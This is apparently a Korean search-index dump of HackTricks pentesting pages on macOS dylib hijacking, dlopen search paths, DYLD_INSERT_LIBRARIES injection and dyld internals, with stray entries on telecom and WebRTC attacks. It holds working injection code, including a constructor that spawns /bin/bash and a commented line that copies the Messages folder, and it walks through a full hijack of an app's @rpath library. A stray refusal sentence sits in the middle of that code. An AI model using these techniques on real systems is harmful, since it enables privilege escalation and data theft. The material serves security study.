있습니다 ImageLoader.cpp. macho 바이너리가 라이브러리를 로드하는 데 사용할 수 있는 4가지 다른 헤더 명령 이 있습니다: LC_LOAD_DYLIB 명령은 dylib를 로드하는 일반적인 명령입니다. LC_LOAD_WEAK_DYLIB 명령은 이전 명령과 유사하지만, dylib가 발견되지 않으면 오류 없이 실행이 계속됩니다. LC_REEXPORT_DYLIB 명령은 다른 라이브러리의 기호를 프록시(또는 재수출)합니다. LC_LOAD_UPWARD_DYLIB 명령은 두 라이브러리가 서로 의존할 때 사용됩니다(이를 _상향 의존성_이라고 합니다). 그러나 dylib 하이재킹 에는 2가지 유형 이 있습니다: 누락된 약한 연결 라이브러리 : 이는 애플리케이션이 LC_LOAD_WEAK_DYLIB 로 구성된 존재하지 않는 라이브러리를 로드하려고 시도함을 의미합니다. 그런 다음 공격자가 예상되는 위치에 dylib를 배치하면 로드됩니다 . 링크가 \\"약한\\"이라는 것은 라이브러리가 발견되지 않더라도 애플리케이션이 계속 실행된다는 것을 의미합니다. 이와 관련된 코드는 ImageLoaderMachO::doGetDependentLibraries 함수에 있으며, 여기서 lib->required는 **LC_LOAD_WEAK_DYLIB**가 true일 때만 false입니다. 바이너리에서 약한 연결 라이브러리 찾기 (하이재킹 라이브러리를 만드는 방법에 대한 예가 나중에 있습니다): otool -l | grep LC_LOAD_WEAK_DYLIB -A 5 cmd LC_LOAD_WEAK_DYLIB cmdsize 56 name /var/tmp/lib/libUtl.1.dylib (offset 24) time stamp 2 Wed Jun 21 12:23:31 1969 current version 1.0.0 compatibility version 1.0.0 - **@rpath로 구성됨**: Mach-O 바이너리는 **`LC_RPATH`** 및 **`LC_LOAD_DYLIB`** 명령을 가질 수 있습니다. 이러한 명령의 **값**에 따라 **라이브러리**는 **다른 디렉토리**에서 **로드**됩니다.\\n- **`LC_RPATH`**는 바이너리가 라이브러리를 로드하는 데 사용되는 일부 폴더의 경로를 포함합니다.\\n- **`LC_LOAD_DYLIB`**는 로드할 특정 라이브러리의 경로를 포함합니다. 이러한 경로는 **`@rpath`**를 포함할 수 있으며, 이는 **`LC_RPATH`**의 값으로 **대체됩니다**. **`LC_RPATH`**에 여러 경로가 있는 경우 모든 경로가 라이브러리를 로드하는 데 사용됩니다. 예:\\n- **`LC_LOAD_DYLIB`**에 `@rpath/library.dylib`가 포함되고 **`LC_RPATH`**에 `/application/app.app/Contents/Framework/v1/` 및 `/application/app.app/Contents/Framework/v2/`가 포함된 경우, 두 폴더가 `library.dylib`를 로드하는 데 사용됩니다. **`[...] /v1/`에 라이브러리가 존재하지 않으면 공격자가 그곳에 배치하여 `[...]/v2/`에서 라이브러리 로드를 하이재킹할 수 있습니다.**\\n- **바이너리에서 rpath 경로 및 라이브러리 찾기**: `otool -l | grep -E \\"LC_RPATH|LC_LOAD_DYLIB\\" -A 5` > [!NOTE] > **`@executable_path`**: **주 실행 파일**이 포함된 **디렉토리**의 **경로**입니다.\\n>\\n> **`@loader_path`**: **로드 명령**이 포함된 **Mach-O 바이너리**가 있는 **디렉토리**의 **경로**입니다.\\n>\\n> - 실행 파일에서 사용될 때, **`@loader_path`**는 사실상 **`@executable_path`**와 동일합니다.\\n> - **dylib**에서 사용될 때, **`@loader_path`**는 **dylib**의 **경로**를 제공합니다. 이 기능을 악용하여 **권한을 상승시키는 방법**은 **루트**에 의해 실행되는 **애플리케이션**이 공격자가 쓰기 권한을 가진 폴더에서 **라이브러리를 찾는** 드문 경우에 해당합니다.
\\n

tip\\n

애플리케이션에서 **누락된 라이브러리**를 찾기 위한 좋은 **스캐너**는 [**Dylib Hijack Scanner**](https://objective-see.com/products/dhs.html) 또는 [**CLI 버전**](https://github.com/pandazheng/DylibHijack)입니다.\\\\\\n이 기술에 대한 **기술 세부정보가 포함된 좋은 보고서**는 [**여기**](https://www.virusbulletin.com/virusbulletin/2015/03/dylib-hijacking-os-x)에서 찾을 수 있습니다.
**예시** macOS Dyld Hijacking & DYLD_INSERT_LIBRARIES ## Dlopen 하이재킹
\\n

caution\\n

Dlopen 하이재킹 공격을 수행하기 위해서는 **이전 라이브러리 검증 제한이 적용된다는 것을 기억하세요**.
**`man dlopen`**에서: - 경로에 **슬래시 문자가 포함되지 않으면**(즉, 단순한 리프 이름인 경우) **dlopen()이 검색을 수행합니다**. **`$DYLD_LIBRARY_PATH`**가 시작 시 설정되었다면, dyld는 먼저 **해당 디렉토리**를 **찾습니다**. 다음으로, 호출된 macho 파일이나 주 실행 파일이 **`LC_RPATH`**를 지정하면 dyld는 **해당 디렉토리**를 **찾습니다**. 다음으로, 프로세스가 **제한되지 않은 경우**, dyld는 **현재 작업 디렉토리**를 검색합니다. 마지막으로, 오래된 바이너리의 경우 dyld는 몇 가지 대체 방법을 시도합니다. **`$DYLD_FALLBACK_LIBRARY_PATH`**가 시작 시 설정되었다면 dyld는 **해당 디렉토리**를 검색하고, 그렇지 않으면 dyld는 **`/usr/local/lib/`**(프로세스가 제한되지 않은 경우)에서 검색한 후 **`/usr/lib/`**에서 검색합니다(이 정보는 **`man dlopen`**에서 가져온 것입니다).\\n1. `$DYLD_LIBRARY_PATH`\\n2. `LC_RPATH`\\n3. `CWD`(제한되지 않은 경우)\\n4. `$DYLD_FALLBACK_LIBRARY_PATH`\\n5. `/usr/local/lib/` (제한되지 않은 경우)\\n6. `/usr/lib/`
\\n

caution\\n

이름에 슬래시가 없으면 하이재킹을 수행할 수 있는 방법은 2가지입니다: - **`LC_RPATH`**가 **쓰기 가능**한 경우(하지만 서명이 확인되므로, 이를 위해서는 바이너리가 제한되지 않아야 합니다)\\n- 바이너리가 **제한되지 않은 경우**, CWD에서 무언가를 로드하거나 언급된 환경 변수를 악용할 수 있습니다.
- 경로가 **프레임워크** 경로처럼 보일 경우(예: `/stuff/foo.framework/foo`), **`$DYLD_FRAMEWORK_PATH`**가 시작 시 설정되었다면 dyld는 먼저 해당 디렉토리에서 **프레임워크 부분 경로**(예: `foo.framework/foo`)를 찾습니다. 다음으로, dyld는 **제공된 경로를 그대로 사용**합니다(상대 경로의 경우 현재 작업 디렉토리를 사용). 마지막으로, 오래된 바이너리의 경우 dyld는 몇 가지 대체 방법을 시도합니다. **`$DYLD_FALLBACK_FRAMEWORK_PATH`**가 시작 시 설정되었다면 dyld는 해당 디렉토리를 검색합니다. 그렇지 않으면 **`/Library/Frameworks`**(macOS에서 프로세스가 제한되지 않은 경우)에서 검색한 후 **`/System/Library/Frameworks`**에서 검색합니다.\\n1. `$DYLD_FRAMEWORK_PATH`\\n2. 제공된 경로(제한되지 않은 경우 상대 경로에 대해 현재 작업 디렉토리 사용)\\n3. `$DYLD_FALLBACK_FRAMEWORK_PATH`\\n4. `/Library/Frameworks` (제한되지 않은 경우)\\n5. `/System/Library/Frameworks`
\\n

caution\\n

프레임워크 경로인 경우, 하이재킹하는 방법은: - 프로세스가 **제한되지 않은 경우**, CWD의 상대 경로를 악용하여 언급된 환경 변수를 사용합니다(문서에 명시되어 있지 않더라도 프로세스가 제한된 경우 DYLD_* 환경 변수가 제거됩니다).
- 경로에 **슬래시가 포함되어 있지만 프레임워크 경로가 아닌 경우**(즉, dylib에 대한 전체 경로 또는 부분 경로), dlopen()은 먼저 (설정된 경우) **`$DYLD_LIBRARY_PATH`**에서 (경로의 리프 부분) 검색합니다. 다음으로, dyld는 **제공된 경로를 시도합니다**(제한되지 않은 프로세스의 경우 상대 경로에 대해 현재 작업 디렉토리를 사용). 마지막으로, 오래된 바이너리의 경우 dyld는 대체 방법을 시도합니다. **`$DYLD_FALLBACK_LIBRARY_PATH`**가 시작 시 설정되었다면 dyld는 해당 디렉토리에서 검색하고, 그렇지 않으면 dyld는 **`/usr/local/lib/`**(프로세스가 제한되지 않은 경우)에서 검색한 후 **`/usr/lib/`**에서 검색합니다.\\n1. `$DYLD_LIBRARY_PATH`\\n2. 제공된 경로(제한되지 않은 경우 상대 경로에 대해 현재 작업 디렉토리 사용)\\n3. `$DYLD_FALLBACK_LIBRARY_PATH`\\n4. `/usr/local/lib/` (제한되지 않은 경우)\\n5. `/usr/lib/`
\\n

caution\\n

이름에 슬래시가 포함되고 프레임워크가 아닌 경우, 하이재킹하는 방법은: - 바이너리가 **제한되지 않은 경우**, CWD 또는 `/usr/local/lib`에서 무언가를 로드하거나 언급된 환경 변수를 악용할 수 있습니다.
\\n

tip\\n

참고: **dlopen 검색을 제어하는** 구성 파일이 **없습니다**. 참고: 주 실행 파일이 **set\\\\[ug]id 바이너리이거나 권한으로 서명된 경우**, **모든 환경 변수는 무시되며**, 전체 경로만 사용할 수 있습니다 ([자세한 정보는 DYLD_INSERT_LIBRARIES 제한 사항 확인](macos-dyld-hijacking-and-dyld_insert_libraries.md#check-dyld_insert_librery-restrictions)). 참고: Apple 플랫폼은 32비트 및 64비트 라이브러리를 결합하기 위해 \\"유니버설\\" 파일을 사용합니다. 이는 **별도의 32비트 및 64비트 검색 경로가 없음을 의미합니다**. 참고: Apple 플랫폼에서 대부분의 OS dylibs는 **dyld 캐시에 결합되어** 있으며 디스크에 존재하지 않습니다. 따라서 OS dylib가 존재하는지 사전 확인하기 위해 **`stat()`**를 호출하는 것은 **작동하지 않습니다**. 그러나 **`dlopen_preflight()`**는 **`dlopen()`**과 동일한 단계를 사용하여 호환 가능한 mach-o 파일을 찾습니다.
**경로 확인** 다음 코드를 사용하여 모든 옵션을 확인해 보겠습니다: // gcc dlopentest.c -o dlopentest -Wl,-rpath,/tmp/test #include #include int main(void) { void* handle; fprintf(\\"--- No slash ---\\\\n\\"); handle = dlopen(\\"just_name_dlopentest.dylib\\",1); if (!handle) { fprintf(stderr, \\"Error loading: %s\\\\n\\\\n\\\\n\\", dlerror()); } fprintf(\\"--- Relative framework ---\\\\n\\"); handle = dlopen(\\"a/framework/rel_framework_dlopentest.dylib\\",1); if (!handle) { fprintf(stderr, \\"Error loading: %s\\\\n\\\\n\\\\n\\", dlerror()); } fprintf(\\"--- Abs framework ---\\\\n\\"); handle = dlopen(\\"/a/abs/framework/abs_framework_dlopentest.dylib\\",1); if (!handle) { fprintf(stderr, \\"Error loading: %s\\\\n\\\\n\\\\n\\", dlerror()); } fprintf(\\"--- Relative Path ---\\\\n\\"); handle = dlopen(\\"a/folder/rel_folder_dlopentest.dylib\\",1); if (!handle) { fprintf(stderr, \\"Error loading: %s\\\\n\\\\n\\\\n\\", dlerror()); } fprintf(\\"--- Abs Path ---\\\\n\\"); handle = dlopen(\\"/a/abs/folder/abs_folder_dlopentest.dylib\\",1); if (!handle) { fprintf(stderr, \\"Error loading: %s\\\\n\\\\n\\\\n\\", dlerror()); } return 0; } 컴파일하고 실행하면 **각 라이브러리가 어디에서 성공적으로 검색되지 않았는지** 볼 수 있습니다. 또한, **FS 로그를 필터링할 수 있습니다**: sudo fs_usage | grep \\"dlopentest\\" ## 상대 경로 하이재킹 **특권 이진 파일/앱**(예: SUID 또는 강력한 권한을 가진 이진 파일)이 **상대 경로** 라이브러리(예: `@executable_path` 또는 `@loader_path` 사용)를 **로드**하고 **라이브러리 검증이 비활성화**된 경우, 공격자가 **상대 경로로 로드된 라이브러리**를 **수정**할 수 있는 위치로 이진 파일을 이동시켜 프로세스에 코드를 주입하는 데 악용할 수 있습니다. ## `DYLD_*` 및 `LD_LIBRARY_PATH` 환경 변수 정리 파일 `dyld-dyld-832.7.1/src/dyld2.cpp`에서 **`pruneEnvironmentVariables`** 함수가 있으며, 이 함수는 **`DYLD_`** 및 **`LD_LIBRARY_PATH=`**로 시작하는 모든 환경 변수를 제거합니다. 또한 **suid** 및 **sgid** 이진 파일에 대해 **`DYLD_FALLBACK_FRAMEWORK_PATH`** 및 **`DYLD_FALLBACK_LIBRARY_PATH`** 환경 변수를 **null**로 설정합니다. 이 함수는 OSX를 대상으로 할 때 같은 파일의 **`_main`** 함수에서 호출됩니다: #if TARGET_OS_OSX if ( !gLinkContext.allowEnvVarsPrint && !gLinkContext.allowEnvVarsPath && !gLinkContext.allowEnvVarsSharedCache ) { pruneEnvironmentVariables(envp, &apple); 그리고 이러한 불리언 플래그는 코드의 동일한 파일에 설정됩니다: #if TARGET_OS_OSX // support chrooting from old kernel bool isRestricted = false; bool libraryValidation = false; // any processes with setuid or setgid bit set or with __RESTRICT segment is restricted if ( issetugid() || hasRestrictedSegment(mainExecutableMH) ) { isRestricted = true; } bool usingSIP = (csr_check(CSR_ALLOW_TASK_FOR_PID) != 0); uint32_t flags; if ( csops(0, CS_OPS_STATUS, &flags, sizeof(flags)) != -1 ) { // On OS X CS_RESTRICT means the program was signed with entitlements if ( ((flags & CS_RESTRICT) == CS_RESTRICT) && usingSIP ) { isRestricted = true; } // Library Validation loosens searching but requires everything to be code signed if ( flags & CS_REQUIRE_LV ) { isRestricted = false; libraryValidation = true; } } gLinkContext.allowAtPaths = !isRestricted; gLinkContext.allowEnvVarsPrint = !isRestricted; gLinkContext.allowEnvVarsPath = !isRestricted; gLinkContext.allowEnvVarsSharedCache = !libraryValidation || !usingSIP; gLinkContext.allowClassicFallbackPaths = !isRestricted; gLinkContext.allowInsertFailures = false; gLinkContext.allowInterposing = true; 즉, 이진 파일이 **suid** 또는 **sgid**이거나 헤더에 **RESTRICT** 세그먼트가 있거나 **CS_RESTRICT** 플래그로 서명된 경우, **`!gLinkContext.allowEnvVarsPrint && !gLinkContext.allowEnvVarsPath && !gLinkContext.allowEnvVarsSharedCache`**가 true가 되고 환경 변수는 제거됩니다. CS_REQUIRE_LV가 true인 경우, 변수는 제거되지 않지만 라이브러리 검증은 원래 이진 파일과 동일한 인증서를 사용하고 있는지 확인합니다. ## 제한 사항 확인 ### SUID 및 SGID","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS Library Injection » Dylib 하이재킹","id":"2493","title":"Dylib 하이재킹"},"2494":{"body":"sudo chown root hello sudo chmod +s hello","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS Library Injection » Make it owned by root and suid","id":"2494","title":"Make it owned by root and suid"},"2495":{"body":"DYLD_INSERT_LIBRARIES=inject.dylib ./hello","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS Library Injection » Insert the library","id":"2495","title":"Insert the library"},"2496":{"body":"sudo chmod -s hello ### Section `__RESTRICT` with segment `__restrict` gcc -sectcreate __RESTRICT __restrict /dev/null hello.c -o hello-restrict DYLD_INSERT_LIBRARIES=inject.dylib ./hello-restrict ### Hardened runtime Keychain에서 새 인증서를 생성하고 이를 사용하여 바이너리를 서명합니다:","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS Library Injection » Remove suid","id":"2496","title":"Remove suid"},"2497":{"body":"codesign -s --option=runtime ./hello DYLD_INSERT_LIBRARIES=inject.dylib ./hello #Library won\'t be injected","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS Library Injection » Apply runtime proetction","id":"2497","title":"Apply runtime proetction"},"2498":{"body":"codesign -f -s --option=library ./hello DYLD_INSERT_LIBRARIES=inject.dylib ./hello-signed #Will throw an error because signature of binary and library aren\'t signed by same cert (signs must be from a valid Apple-signed developer certificate)","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS Library Injection » Apply library validation","id":"2498","title":"Apply library validation"},"2499":{"body":"","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS Library Injection » Sign it","id":"2499","title":"Sign it"},"25":{"body":"Hacktricks 로고는 @ppiernacho 에 의해 디자인되었습니다.","breadcrumbs":"Pentesting Methodology » Pentesting Methodology","id":"25","title":"Pentesting Methodology"},"250":{"body":"Palo Alto Unit42 – Infiltration of Global Telecom Networks 3GPP TS 29.060 – GPRS Tunnelling Protocol (v16.4.0) 3GPP TS 29.281 – GTPv2-C (v17.6.0) Demystifying 5G Security: Understanding the Registration Protocol 3GPP TS 24.501 – Non-Access-Stratum (NAS) protocol for 5GS 3GPP TS 33.501 – Security architecture and procedures for 5G System tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Pentesting Network » Telecom Network Exploitation » References","id":"250","title":"References"},"2500":{"body":"","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS Library Injection » If the signature is from an unverified developer the injection will still work","id":"2500","title":"If the signature is from an unverified developer the injection will still work"},"2501":{"body":"codesign -f -s inject.dylib DYLD_INSERT_LIBRARIES=inject.dylib ./hello-signed","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS Library Injection » If it\'s from a verified developer, it won\'t","id":"2501","title":"If it\'s from a verified developer, it won\'t"},"2502":{"body":"codesign -f -s --option=restrict hello-signed DYLD_INSERT_LIBRARIES=inject.dylib ./hello-signed # Won\'t work","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS Library Injection » Apply CS_RESTRICT protection","id":"2502","title":"Apply CS_RESTRICT protection"},"2503":{"body":"Reading time: 5 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS Library Injection » macOS Dyld Hijacking & DYLD_INSERT_LIBRARIES » macOS Dyld Hijacking & DYLD_INSERT_LIBRARIES","id":"2503","title":"macOS Dyld Hijacking & DYLD_INSERT_LIBRARIES"},"2504":{"body":"주입할 라이브러리 쉘을 실행하기 위해: c // gcc -dynamiclib -o inject.dylib inject.c #include \\n#include \\n#include \\n#include \\n__attribute__((constructor)) void myconstructor(int argc, const char **argv)\\n{\\nsyslog(LOG_ERR, \\"[+] dylib injected in %s\\\\n\\", argv[0]);\\nprintf(\\"[+] dylib injected in %s\\\\n\\", argv[0]);\\nexecv(\\"/bin/bash\\", 0);\\n//system(\\"cp -r ~/Library/Messages/ /tmp/Messages/\\");\\n} 공격할 바이너리: c // gcc hello.c -o hello\\n#include int main()\\n{\\nprintf(\\"Hello, World!\\\\n\\");\\nreturn 0;\\n} 주입: bash DYLD_INSERT_LIBRARIES=inject.dylib ./hello","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS Library Injection » macOS Dyld Hijacking & DYLD_INSERT_LIBRARIES » DYLD_INSERT_LIBRARIES 기본 예제","id":"2504","title":"DYLD_INSERT_LIBRARIES 기본 예제"},"2505":{"body":"타겟 취약 바이너리는 /Applications/VulnDyld.app/Contents/Resources/lib/binary입니다. entitlements\\nLC_RPATH\\n@rpath codesign -dv --entitlements :- \\"/Applications/VulnDyld.app/Contents/Resources/lib/binary\\"\\n[...]com.apple.security.cs.disable-library-validation[...] bash # Check where are the @rpath locations\\notool -l \\"/Applications/VulnDyld.app/Contents/Resources/lib/binary\\" | grep LC_RPATH -A 2\\ncmd LC_RPATH\\ncmdsize 32\\npath @loader_path/. (offset 12)\\n--\\ncmd LC_RPATH\\ncmdsize 32\\npath @loader_path/../lib2 (offset 12) bash # Check librareis loaded using @rapth and the used versions\\notool -l \\"/Applications/VulnDyld.app/Contents/Resources/lib/binary\\" | grep \\"@rpath\\" -A 3\\nname @rpath/lib.dylib (offset 24)\\ntime stamp 2 Thu Jan 1 01:00:02 1970\\ncurrent version 1.0.0\\ncompatibility version 1.0.0\\n# Check the versions 이전 정보를 통해 우리는 로드된 라이브러리의 서명을 확인하지 않고 있으며 다음에서 라이브러리를 로드하려고 시도하고 있다는 것을 알 수 있습니다 : /Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib /Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib 하지만 첫 번째는 존재하지 않습니다: bash pwd\\n/Applications/VulnDyld.app find ./ -name lib.dylib\\n./Contents/Resources/lib2/lib.dylib 그래서, 그것을 탈취하는 것이 가능합니다! 임의의 코드를 실행하고 정품 라이브러리와 동일한 기능을 재수출하는 라이브러리를 만드세요. 그리고 예상되는 버전으로 컴파일하는 것을 잊지 마세요: lib.m #import __attribute__((constructor))\\nvoid custom(int argc, const char **argv) {\\nNSLog(@\\"[+] dylib hijacked in %s\\", argv[0]);\\n} 죄송하지만, 요청하신 내용을 처리할 수 없습니다. bash gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Foundation /tmp/lib.m -Wl,-reexport_library,\\"/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib\\" -o \\"/tmp/lib.dylib\\"\\n# Note the versions and the reexport 라이브러리에서 생성된 재수출 경로는 로더에 상대적입니다. 이를 라이브러리를 내보내기 위한 절대 경로로 변경합시다: bash #Check relative\\notool -l /tmp/lib.dylib| grep REEXPORT -A 2\\ncmd LC_REEXPORT_DYLIB\\ncmdsize 48\\nname @rpath/libjli.dylib (offset 24) #Change the location of the library absolute to absolute path\\ninstall_name_tool -change @rpath/lib.dylib \\"/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib\\" /tmp/lib.dylib # Check again\\notool -l /tmp/lib.dylib| grep REEXPORT -A 2\\ncmd LC_REEXPORT_DYLIB\\ncmdsize 128\\nname /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib (offset 24) 마지막으로 탈취된 위치 에 복사합니다: bash cp lib.dylib \\"/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib\\" 이진 파일을 실행 하고 라이브러리가 로드되었는지 확인합니다: \\"/Applications/VulnDyld.app/Contents/Resources/lib/binary\\"\\n2023-05-15 15:20:36.677 binary[78809:21797902] [+] dylib hijacked in /Applications/VulnDyld.app/Contents/Resources/lib/binary\\nUsage: [...] note 텔레그램의 카메라 권한을 악용하는 방법에 대한 좋은 글은 https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/ 에서 찾을 수 있습니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS Library Injection » macOS Dyld Hijacking & DYLD_INSERT_LIBRARIES » Dyld Hijacking Example","id":"2505","title":"Dyld Hijacking Example"},"2506":{"body":"예상치 못한 이진 파일에 라이브러리를 주입하려는 경우, 이벤트 메시지를 확인하여 프로세스 내에서 라이브러리가 로드되는 시점을 파악할 수 있습니다(이 경우 printf와 /bin/bash 실행을 제거하십시오). bash sudo log stream --style syslog --predicate \'eventMessage CONTAINS[c] \\"[+] dylib\\"\' tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS Library Injection » macOS Dyld Hijacking & DYLD_INSERT_LIBRARIES » 더 큰 규모","id":"2506","title":"더 큰 규모"},"2507":{"body":"Reading time: 10 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS Library Injection » macOS Dyld Process » macOS Dyld Process","id":"2507","title":"macOS Dyld Process"},"2508":{"body":"Mach-o 바이너리의 실제 entrypoint 는 LC_LOAD_DYLINKER에 정의된 동적 링크로, 일반적으로는 /usr/lib/dyld입니다. 이 링커는 모든 실행 가능한 라이브러리를 찾아 메모리에 매핑하고 모든 비게으른 라이브러리를 링크해야 합니다. 이 과정이 끝난 후에야 바이너리의 entry-point가 실행됩니다. 물론, **dyld**는 어떤 의존성도 없습니다(시스템 호출과 libSystem 발췌를 사용합니다). caution 이 링커에 취약점이 있다면, 어떤 바이너리(심지어 높은 권한을 가진 것들)도 실행되기 전에 실행되기 때문에 권한 상승 이 가능할 수 있습니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS Library Injection » macOS Dyld Process » Basic Information","id":"2508","title":"Basic Information"},"2509":{"body":"Dyld는 **dyldboostrap::start**에 의해 로드되며, 이 함수는 스택 카나리 와 같은 것들도 로드합니다. 이는 이 함수가 apple 인자 벡터에서 이와 다른 민감한 값들 을 받기 때문입니다. **dyls::_main()**은 dyld의 entry point이며, 첫 번째 작업은 configureProcessRestrictions()를 실행하는 것입니다. 이 함수는 일반적으로 DYLD_* 환경 변수를 제한합니다: macOS Library Injection 그런 다음, dyld 공유 캐시를 매핑하여 모든 중요한 시스템 라이브러리를 미리 링크하고, 바이너리가 의존하는 라이브러리를 매핑하며, 필요한 모든 라이브러리가 로드될 때까지 재귀적으로 계속합니다. 따라서: DYLD_INSERT_LIBRARIES로 삽입된 라이브러리를 로드하기 시작합니다(허용되는 경우) 그런 다음 공유 캐시된 라이브러리 그런 다음 가져온 라이브러리 그런 다음 라이브러리를 재귀적으로 계속 가져옵니다 모든 라이브러리가 로드되면 이 라이브러리의 초기화 함수 가 실행됩니다. 이들은 LC_ROUTINES[_64](현재는 사용 중단됨)에서 정의된 **__attribute__((constructor))**를 사용하여 코딩되거나 S_MOD_INIT_FUNC_POINTERS 플래그가 설정된 섹션의 포인터로 코딩됩니다(일반적으로: __DATA.__MOD_INIT_FUNC ). 종료자는 __attribute__((destructor)) 로 코딩되며 S_MOD_TERM_FUNC_POINTERS 플래그가 설정된 섹션에 위치합니다( __DATA.__mod_term_func ).","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS Library Injection » macOS Dyld Process » Flow","id":"2509","title":"Flow"},"251":{"body":"Reading time: 3 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요. 이 문제는 이 블로그 게시물에서 발견되었습니다: https://www.rtcsec.com/article/novel-dos-vulnerability-affecting-webrtc-media-servers/ WebRTC 미디어 서버에서 설명된 취약점은 미디어 세션 초기화 중 경쟁 조건 에서 발생하며, 특히 ICE 미디어 동의 검증 과 DTLS 트래픽 시작 사이에서 발생합니다. 다음은 자세한 분석입니다:","breadcrumbs":"Pentesting Network » WebRTC DoS » WebRTC DoS","id":"251","title":"WebRTC DoS"},"2510":{"body":"macOS의 모든 바이너리는 동적으로 링크됩니다. 따라서, 이들은 바이너리가 다양한 머신과 컨텍스트에서 올바른 코드로 점프하는 데 도움이 되는 몇 가지 스텁 섹션을 포함합니다. 바이너리가 실행될 때 dyld는 이러한 주소를 해결해야 하는 두뇌입니다(적어도 비게으른 것들). 바이너리의 일부 스텁 섹션: __TEXT.__[auth_]stubs : __DATA 섹션의 포인터 __TEXT.__stub_helper : 호출할 함수에 대한 정보와 함께 동적 링크를 호출하는 작은 코드 __DATA.__[auth_]got : 글로벌 오프셋 테이블(해결된 가져온 함수의 주소, 로드 시간에 바인딩됨, S_NON_LAZY_SYMBOL_POINTERS 플래그로 표시됨) __DATA.__nl_symbol_ptr : 비게으른 심볼 포인터(로드 시간에 바인딩됨, S_NON_LAZY_SYMBOL_POINTERS 플래그로 표시됨) __DATA.__la_symbol_ptr : 게으른 심볼 포인터(첫 번째 접근 시 바인딩됨) warning \\"auth_\\" 접두사가 있는 포인터는 이를 보호하기 위해 프로세스 내 암호화 키를 사용하고 있습니다(PAC). 또한, arm64 명령어 BLRA[A/B]를 사용하여 포인터를 따라가기 전에 검증할 수 있습니다. RETA[A/B]는 RET 주소 대신 사용할 수 있습니다. 실제로 **__TEXT.__auth_stubs**의 코드는 요청된 함수를 호출하기 위해 **braa**를 사용합니다. 또한 현재 dyld 버전은 모든 것을 비게으른 것으로 로드합니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS Library Injection » macOS Dyld Process » Stubs","id":"2510","title":"Stubs"},"2511":{"body":"c //gcc load.c -o load\\n#include \\nint main (int argc, char **argv, char **envp, char **apple)\\n{\\nprintf(\\"Hi\\\\n\\");\\n} 흥미로운 디스어셈블리 부분: armasm ; objdump -d ./load\\n100003f7c: 90000000 adrp\\tx0, 0x100003000 <_main+0x1c>\\n100003f80: 913e9000 